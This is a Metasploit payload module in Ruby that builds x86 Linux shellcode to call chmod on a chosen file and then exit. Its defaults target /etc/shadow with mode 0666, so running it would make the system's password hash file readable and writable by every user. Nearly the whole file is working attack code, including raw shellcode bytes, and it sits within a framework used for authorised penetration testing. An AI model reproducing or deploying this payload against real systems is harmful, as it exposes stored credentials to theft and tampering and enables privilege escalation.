require 'msf/core'


###
#  Linux Chmod(file, mode)
#
#  Kris Katterjohn - 03/03/2008
###
module Metasploit3
	include Msf::Payload::Single
	include Msf::Payload::Linux

	def initialize(info = {})
		super(merge_info(info,
			'Name'        => 'Linux Chmod',
			'Version'     => '$Revision$',
			'Description' => 'Runs chmod on specified file with specified mode',
			'Author'      => 'kris katterjohn',
			'License'     => BSD_LICENSE,
			'Platform'    => 'linux',
			'Arch'        => ARCH_X86))

		register_options(
			[
				OptString.new('FILE', [ true, "Filename to chmod", "/etc/shadow" ]),
				OptString.new('MODE', [ true, "File mode (octal)", "0666" ]),
			], self.class)
	end

	# Dynamically generates chmod(FILE, MODE) + exit()
	def generate_stage
		file    = datastore['FILE'] || '/etc/shadow'
		mode	= (datastore['MODE'] || "0666").oct

		payload	=
			"\x99\x6a\x0f\x58\x52" +
			Rex::Arch::X86.call(file.length + 1) + file + "\x00" +
			"\x5b" + Rex::Arch::X86.push_dword(mode) +
			"\x59\xcd\x80\x6a\x01\x58\xcd\x80";
	end
end